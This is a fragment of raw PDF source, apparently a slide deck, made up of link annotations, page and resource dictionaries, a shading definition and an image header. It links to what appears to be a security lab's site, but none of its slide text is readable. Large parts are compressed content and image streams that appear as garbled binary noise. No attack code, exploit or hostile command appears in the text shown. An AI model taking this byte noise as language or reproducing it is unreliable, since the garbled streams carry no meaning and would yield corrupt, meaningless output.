/N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 613 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 614 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 615 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 616 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 617 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 618 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 619 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 620 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 621 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 622 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 623 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 624 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 625 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 626 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 627 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 628 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 629 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 630 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 631 0 obj << /Type /Page /Contents 632 0 R /Resources 630 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 602 0 R 603 0 R 604 0 R 605 0 R 606 0 R 607 0 R 608 0 R 609 0 R 610 0 R 611 0 R 612 0 R 613 0 R 614 0 R 615 0 R 616 0 R 617 0 R 618 0 R 619 0 R 620 0 R 621 0 R 622 0 R 623 0 R 624 0 R 625 0 R 626 0 R 627 0 R 628 0 R 596 0 R 597 0 R 598 0 R 599 0 R 600 0 R 601 0 R 629 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 632 0 obj << /Length 1972 /Filter /FlateDecode >>stream xZKs#E W4pp솂&R''[GR?fMbK-[V$'$ĥP|ZFZb1oMz[! %#cm ؽM*pg(mNQ` +Ujp) Ն1A:xi5ynt-X*y:T6FD6w`,a+2):%>DRP pd&NGV4]Ҙ8RgSJQq]u)LAd &Akg6]4%b!ԝRI߀V@Htj*%>u%_ *wي;O?J2D,"G{'i]{ʉ ͔%j2iQm5CN=بh]0{[謒Ic%ئH}WLEcw '87~Qת+zI >t;.hނhiKfTi+uN$44XU8'T/U}AbVrԔg<(FM#';9Ay`ɶqEz6Izmȹ'{T܎r8Lcs{z9XǸeaߜkX">Ey#8_F?y;4EE\잾w]ڿ*&7!ϸ)WSp/ p;J_x?2w,&ۓ/X/l|sHs!g[ %&ܾEUQanV(gwB1⷇x  Z&$-f?9kh7ů6ѯʨ"tF؃\LxͼLh4焗`Ŝ빾E|T^@,XȘ6*P>ԅnD2N NL^Wcx2;r.WxxG84j4{[|5>+ wNƷ0 B!1qxkJ{(At5X3Clئ\P8k6~3f as'sDez ؓpj׌+ 5cRuB9jNw F&4Zq;Z`>sZ4RDmAO>^jV7Tq v5~?T N^.fy?LɃ6#_(DDPLsN2xE ZeP>XD_8+]G16hv."wqrd#m ?aF-E0ژ.渇IHGCH,m9}T$O o)6a}|+wg !`*02'g A<\spI$}ͧc̴sp-ʎq\0>qm_cMXA}Ƴ)YNW" ǂ4HokA?f ] ,$}'rM}klJQr\,-o0ߊ]6tZ|#MNC W`Mc͞!gd8C‡oB_o% %/ /%vu71?U>"ǝӵ|\=#/m]b;YjETQu.{]_.hˡS>_tD_q鹫$S>tJu\oi+?Ek2 =fYe9`Ki|[k3^F /K endstream endobj 633 0 obj << /D [ 631 0 R /XYZ 334.488 1.245 null ] >> endobj 634 0 obj << /D [ 673 0 R /XYZ 334.488 1.245 null ] >> endobj 635 0 obj << /D [ 954 0 R /XYZ 334.488 1.245 null ] >> endobj 636 0 obj << /D [ 850 0 R /XYZ 334.488 1.245 null ] >> endobj 637 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 173.47 167.034 185.473 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 638 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 147.129 151.749 158.574 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 639 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 122.163 101.969 131.675 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 640 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 110.207 109.959 119.024 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 641 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 4.689 4.689 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 676 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 642 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 96.32 182.187 107.069 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 643 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 69.42 253.638 80.865 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 644 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 645 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 646 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 647 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 648 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 649 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 650 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 651 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 652 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 653 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 654 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 655 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 656 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 657 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 658 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 659 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 660 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 661 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 662 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 663 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 664 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 665 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 666 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 667 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 668 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 669 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 670 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 671 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 672 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Fm20 641 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 673 0 obj << /Type /Page /Contents 674 0 R /Resources 672 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 491 0 R /Annots [ 644 0 R 645 0 R 646 0 R 647 0 R 648 0 R 649 0 R 650 0 R 651 0 R 652 0 R 653 0 R 654 0 R 655 0 R 656 0 R 657 0 R 658 0 R 659 0 R 660 0 R 661 0 R 662 0 R 663 0 R 664 0 R 665 0 R 666 0 R 667 0 R 668 0 R 669 0 R 670 0 R 637 0 R 638 0 R 639 0 R 640 0 R 642 0 R 643 0 R 671 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 674 0 obj << /Length 1978 /Filter /FlateDecode >>stream xZ]s[EϯXn~/w@潠If.R I8&L䜳/IH+(q-H߀(a8XѫI)ABX|6vo:v \JgST./:sJ\ HaL$^Z b2?:qċ!]K&Jquw&9u̓88Kl LN)h(O*р$cA@:sqfEe% E|f}4&TٔRs\(oEc÷A){yuPbõ|3A`jԐN$o@y+H]OC$T:5MҊh=oϺģ  jtgGJ[Oȵ*Π>%w"X]|NHRoUhOnNBn;lŝ>HO[Q^|>^< 8{Ф|d$8 1XDNz)5t;.hނhiKfTi+uN$44XU8'T/U}AbVrԔg<(FM#';9Ay`ٮqEz6Izmȹ'{T܍=r8Lcs{z9XǸea]jX"Ey#_G?y94GE쑾w[ڿ).7!x)7SpOϦ p;J_xeXL;:'_dO".CB/v5-K}KܬQ"ﶃc?U^jV7T8 ?v'~~RSZ]~R9m$ǎhEqA1~|'T}?@ p$hAu CkSᬌv",bl\D#LsƿA~[9 {ًLi1]p-L-YrH o)aC|'wg !`%0:'gDA<\sp }rcsq+ʎq\0!qmߌcMX}}ƳΉYNW" ǂ4HokA3FOndb=X Y'6 7Zm6xZP  ,"dr7tdiyT IY(79'y-b?,]si(C΢zW;"hHfQ{Blx(Se+&[۲S1V [\+)lչˋlscZ#͠h|ܩY<]bymK >Y HTfAm~{~_/ho˱SV_t'Dp+RtNŇܜŹ+O+d:zK{V-8 +1^g!`: endstream endobj 675 0 obj << /D [ 673 0 R /XYZ 334.488 1.245 null ] >> endobj 676 0 obj << /Shading << /Sh << /ShadingType 3 /ColorSpace /DeviceRGB /Domain [ 0 2.34438 ] /Coords [ 1.52634 3.34418 0 2.34438 2.34438 2.34438 ] /Function << /FunctionType 3 /Domain [ 0 2.34438 ] /Functions [ << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.97047 0.9707 0.97894 ] /C1 [ 0.85236 0.85353 0.89471 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.85236 0.85353 0.89471 ] /C1 [ 0.8022 0.8033 0.84172 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.8022 0.8033 0.84172 ] /C1 [ 0.80157 0.80235 0.8298 ] /N 1 >> << /FunctionType 2 /Domain [ 0 2.34438 ] /C0 [ 0.80157 0.80235 0.8298 ] /C1 [ 1 1 1 ] /N 1 >> ] /Bounds [ 0.72711 1.45424 1.99962 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 677 0 obj << /D [ 709 0 R /XYZ 334.488 1.245 null ] >> endobj 678 0 obj << /D [ 811 0 R /XYZ 334.488 1.245 null ] >> endobj 679 0 obj << /Type /XObject /Subtype /Image /Width 2246 /Height 1653 /BitsPerComponent 8 /ColorSpace /DeviceRGB /Length 192759 /Filter /FlateDecode /DecodeParms << /Colors 3 /Columns 2246 /BitsPerComponent 8 /Predictor 10 >> >>stream x?YqOčG H?'"!XHDiin]  dWC4̒HsYH tY $)A{H\.A-uf9Sly{f5޳~˲8fYOd& ûϮY(TUuEQTUUE4[1ƘǝqA7 zRqe!)p)u]Mhg-4=0-(ޗey3>pzB)p7=R*ܢ~mXk˲:˲iCz^hAlڶMDzQyo6,˦/RZu-\VAcV1FB<ϧZY Ik-%YrFy4<`Px<ϫjF)5MY8RJIc^2kE6cr&=嬵]vOs,ˮaQMύaN}RJ.|UJ4ǫ:MӦia ( !pH u-EBZq4 csN:)$:diZc4M\]]MCpO)9@RJ%IҶi;4M3=DE8 DJ\ݳ#%8({[5 x$b9ZƝ{!7vϻMiJýW )~lwNlqN^d , A/UU9$JӴmۃL%M(2ZE'iqDZ?A0sHIV{nMKkvcՍRyKԶlhqfڶw/jpϗ^Bǒpoя߶7w}wޑ=|E{|;a۟}ݯ~||/YGI8oG}{}_ Pªmȝ\__|Z;gax}])zw8y;;rϏ>((}ɽy}sι_)%A| q7{_//m>r΅a8=o߿#yG0 s^z5 ֖eZ뽗~zA}w3.5#cLYav]wPF4qRYu=>sɲLIWH͓u]gY&ȓ#P%˕RJ]ڲ:u]}/K4EQ4]iaZm)NODZkWJ`dq)uJi8oDJ\(W9')GGu41&MS"Ȗ΅sNw "R?B\Ƙ0 4X=4W(2τH 3K)MSF ^8(("x>sZk%Fs!R&ْ^ $["dzi$AH$1̅H <ҊM6I$"gbAp EQ$mbt)C {TAzn~#R/%x]$ےa^~ٌٟ#?^?s)0Mb!DPOgz??y3 n#VƠH|h, 8K7=w?S?wR),O}S_5X' >4uDJ`1/'?ɻ6DJ`~~??&RxRKfɲl*%dg6H ,s{>O)<X;~[ߚc,獵296ͧ> >qg>~ ,)2A?~]Es)˲,ib-%p4{gH ,v!އa8(#D9`8<k)[7ΉDcz$_{9qiqo({X kmeEQ<1OZkUSJ)f!P׵sSE4ξi6MsÍ1RQ$k۶*ܸXs.˲v{'>0x.u][k5r^ȁ#<ar)}yS}my0cLaZk$vqmqι<07bZI:'Yn?Q`FT)1 <p6赅gbybT+r1 ð<4.MSmX*i*Ha?ZUUYrjQX8JfqtZ/-9ASVkmI,˲,|ld#z.9$AẮ``zB/MS9KUUiy44 RJy%jn}o> ÃzZEyYJ\:,RK& ӣ΃IbѢ($:C*b5Ms(Uk]U _w R wDq?4o_E1 i^z>AL4Em۹Ga{X |ꊢ뺶m8{߶muu]UUuy_τsc׻id}AaKrR"RN,ͽ^xs*IJdZu]eeWUeu]y>sNk}'>6 Nk)ᙤiO`EQUUYkUUI$G=n8$ 0M0 ,sulZ&}kaZyDZ,Kkm]}$IQYkssOymR2gmիǀeLxe}ߗeYU\Ắ۶_gcLe6Mj5g3=ǡ{//9Xk,+[k os,zn4EpRA߽ԼL!]mEP=v^ZƝ8Y by\%$8wDJ+b逄F璮j<<5M$IguwP(PJe)osM_m۶Mtߓ2)!4M#y0 y$ `{iu]i^[xa osZi.(#]I%4`XK 8UUICg:1!i7mnM4MsZYj߳C^RjIfӶj{߶fݎ< H 8iZkIiZD81Zk5ԕ$7Su-05M㜓תʲ,9DZz^,{?>dRt[xIa6McfйeYn6﫪M˳zc2]Vv}PskmaSeUU]r 2>4MRKhZMdA)~`٨R0Yv(2M๥iu~WJ9$YeY}=}ߗe^$q)}uIxo=҅axM7MHQq| Lp"1(mm۲,t)cy?ww:Ѯ6"Tu,wx.4_}x5iri%/<{?DZD_J)bZXT)eiz4MK `9gi{?((ZR' dM씳qj+/H ,S8J#uB$pGL+?Nrc:]`LbR#5X&\sx1׹^ј377 CDR%3 TDJ`bax7?{gEwX tP46eYe)RjƲK'WUUS $ҘM˧<.#pxڪR){tHaݞXUu m۲, ( EqIϸ{P% ,Ky"r1$p sX6),ku~?kkiyZz-ݞ}gY$s(~횦9<4Mv^)K$˲p V*eR)Gf|xn꬧{(jm[f\fS׵p0Eq֗nJ.0 эO{?Ѐ:('c}TDJXk,˲, CID6)}LO?^*1UU]]]5M$(#_KqpzxaDJqu$IWWW]-;*$I~Ѵ֛9']EQk( rm6#{BJX</H x*YGknI0 nZkYGpy^eUUva]v,X6szV #RC8eiiA+(wg%xm4M}݂ /a>hZຮKA#MExF<,+ئ>z"dRJiphe^[s8KƘiu46 Yk9cLuqu휋H,{_'a^,y EQܸ%Mɐ)S>Yu_nAhea0 r7u۶ZYj|m[h9drvkiV>niyΧr!],<k)aوJ x0uGz^{w yesNUU%{nEQZiۭnDBaP;]gqƘ7DZ;tV\UU0cd$}ߧizEQn;/aڪm4m ac 꺾q&JSb1DJG̩i" vn0 ܳS|Q1(oeQ7tcnQ ƏN?S6}n:Tu}y~iw>s,=\a3D̅H x rvCauz\Q9'9Y,˃}?Vԍ;zZHO& EQ4VH;+K.=cw>+{O#R孹8&Hm[UqE꺮m&TYZ IseYN1Ru=){Þm1{9q#H5mJS*od#8Ny剏\Y)8i\㳓;4-˲g\r\N)5mP˲8s_V q#HnoKdN͉\ ʲZvƳ/96۫P4# aR43ShԶz;&(nZGt{p ^knOd>oZFnUJI=s>(v+3i7M$u]iɗ1$I6ZVnEQ=4`s$X$kH 0daVU^kmɲ,TEqĐ1ZZAiUUJX K )4M8>Ycオ㜓,MӢ(fZLi#p%숔aQRȡ $5Yk%C!N)ƒc$Z;䢍n%ꍗQ&zވwX$k-mӚ1ZeDQaӧ[|;uj4i1$LMWOuKv5í(N| LcR \9T&?ھ&N7fKA !r" ñqNʳE3M19k/p,s,Gޏ] DJ -864:8…ȳ19\ׯ/+Fn =# { F!xDVpt7D p >1w,)%.'.1e숔BH,sJ 0;"%Tr`y(Q"%Ƙ )NX(pdDJA# ùs9G;) R a{IY))?ws~k 7眣 cUJ= H q{덪EPOO5N$O:k,1iG@)8")'t'(d[8x볒E΃dZ;ơQऐ cI1NǐH#EBc#PZUU'4T鳓ڦ4MO^;c yt)1CrIADGQIbFMZ$Mι,_&`F{~09"% Rp+c̍RQHf65ٮ'Lt^w,1fGCG8ZgHo$Lctt=aRJqZFph|qyt)Ikmiv;>  rZ뺮R<7jaIXH pjf#4MPJQtqT^km<Rl6R5#XxQTwXK cpR EQ ð((^ei*dhLAttkr1yFPƘq{Q3]ϟ9J:$ڋ}&"%x{/aIimnVҦZlH5ɘȒ]Q;rFSSIb2,8CBw^B\ð*><0 im%XjfqsNk=fHAi*kJUUwEf4$,2ZJ)jADYk"%"x, w'EJ1u]'InϽ\Ikm0i hR+6~;Oi뺖`)cԌ#sR9s3l6(iI@=٤in(l6ӥ΅sm,1< prizqo1ƘjeaZsI$IzUycm&I✓C%IRee2џeY$Yɝ}9W׵1II[A}$Iyky;(\\Jk$1f~_UEKta0$I~xI'+5+Z1j.2VtO0Wx[k%իW7p|ߍo ^XcMՍ;fvcv~ٜl‹B{?H X(1Gf砆FZ'鷲4S*MOīq["c^3<.];:uYRȵ5*")+.:1b1Qz "%`(RJ~"}UUc Aэ Rc3:c80 u]qQEQ$mێ}衤Aw>]JSoeYv]w97tcmf|Qp3n:0 :n(N牔R;ݸo{_IuJrMheY hژNKv$"y>˲݁"4u:ʥ#H <Q\(*mz];^z-ʓm ^ǩ(I4Mٻ, aXk1rR-J$qɬE\)Q Z^e u)1eYkk3s8( 4d ~Q14km Y9ˤ|xI=9d)(v+M<_y}OI?"A WK)uű||iJZqUUy"N9lQc,}z#~֗v\ /oy7q1'kp3"%ࢥiu0 Q}^$FROd:Iz}E0\]]u]wMRҳxWfַ%AHqIԸ&4 ^k-^Ai*Rz9VU,K)Z꺮$Iau)1<Ӷmɓ+,s, kuu恩 X 1 &ZuEiHz$B)DZR/eͲ(Mɤ>ι\vKǪYkH.I(Npޚ{NKER1F,eviz4^(qo,vέV$IX?a'z^e`_Yu,?^@4aRw(2֞hH dV/( \EQu]75cQ@)U}:4M4 1R'w ðinga/cusĤ<ΑH p0\0<|JQZ{qt 8glb)0 *aN J9rαΑV>2@x"%̣({2E"?q!c9ʲ\<,fe{繴n뺮k|x^e)OpZIQrmbZSU,$jJxg!go$As_2qyN&3O+V۶aqxzzx=gYFn#˲$IƷA u-"%L@kmvi˲{lQJm+szv|>id5Ʉ4Ͳ{N4IQBAeܹ7^>_UymFQe(بzdE㲩U;Z[EuSA GQ+I늢2PE JmTU% ]|pzSDJX$Isߝ}3A|xZ;%I";rZ )NJ( C v( %l%C6zHԴ&zDr~csF`R]IԵX| ~ѥSDJ@E{G<%2km]_.AyhlHk۶ma$( tn($Kd??e霻k/:IVp3ATUu<\sAJGk;="R4j6c0(RJI7{}R]DQ8RHk=v%I"AAx$sYDEQr~\}ثgo\k]׵Z"Q:o,ْ)""* 3j !R4d4MosQe%I7vH#ɮqZkT4mʞu˷u]g\1HD)%M?hfc]Qe,J#Cڶ]VeYEq?\ YPAqܶmeYj۶֨y!R.r,/#â.f10T.ƹܗ5`לsu]u]$%7vcLHOZV0]C}Z)qq|dZ87 k3ǻwj^WUif.%LF)UU0 Z0 B擋̼g< aj> &(4eYkl|SDJXE&I8p_֜{GG!8ׂLeXƍ iuz$F/αC#Cx&ZEAp UJtݲIc%;"%<{vݯOI✽eop/4ڽýbV,JJ0L] {}{8xRebܩ8.R+᪬,^chQ,/ k- >}x'㣌_;Nvo!v )8$I.gሔpGKB<.cz uk/NGiLK"("gAPEA橸ZkA<1M((d|OfWR\yy;9nW4yEa|kY7&)%EXɍF*Kvs&uYއ+4M!C31< $DJcjs$IRUղW^LcV׵1F)EI,P`ZJ0Vkp)^)H X}{'IuԥMF4z"ZDZyIDQ$ɤ5bdR߃W"]weUp1DJM$i iQ[Fy9*cL U>pdGVNW|i:MjULt<ߞSJeZ4SEt]'.N]Xk.8ۅCui*6vy-'vlRiqL,K6j,k (H cvm iv.%"䜛EwAK"R&UUW% 0g<ϧ.d9{q/1H m00f`)0 ۶"ܷi U .Rs0M]*˲mۦi,#Xk"+I4"v:l!2=OkM`yRf*ma8?OruZ8mWUZEkyu][kd/8ًoZށj^Vw,8+ɲlٴme8G$EQTE{a!,0Gu]k7EzREQ#!Qʗd'EQ4MSU8|/B3 G߽m~V{'ox>cLI4Ms{>p΅a$ V+݂8 ^|0SMdYDZ<nԶmY*O2(zlۤ95]J"R櫪*R CZ+Kx\Yy7MC D*iιgW% 0kYm6z&X2%IoRE lDJAl3,]&cl6_|,1~qH Q 0Ky3V䂌1ya0 \fQJ5MPcpH lDJ=%\Ҵ2ɴҖs0 S( *YJ9k_"#ROE]׽TUK).>}ӓXĄ /k%o%O)w,Ii,1,˩.׿ɟcnCʲf[ YJ'cLESW-Хk%o,׿??ַ|gZ X|@UU90,]JDZzyyι~_/9crnauIL]haB}AE)o~?z X=P%%i<"%8oou=U=xLEQDQԅM'k-+u~_W-5Mc}JJK`);E|b<܌R뺺$4L]pZwA$}g/__E[Ji>HI#f>A_g~&, ( 4ֲj2Тx(DJ>:~++̮\JuƘUN]p19CYL]ܙ??뺮a`aZq< Â%V+9ZV͆`ޭ{e<ϵ֛͆0,_(\h4}~~nݒ$ٽ,i 8vMXVUUy>u!%H nJV~ܵ JwT*1%##R[ `m۶<((Y|ch<2"%@UUyu-X8Tuu]_v3l0!ksH ׈`RM}5ZK Zjp,S0m۶Ե`.;T9]'0ТADJX>e7%^kZ{8="1`>eYy^0L둡JaFQtf1RU圣K K 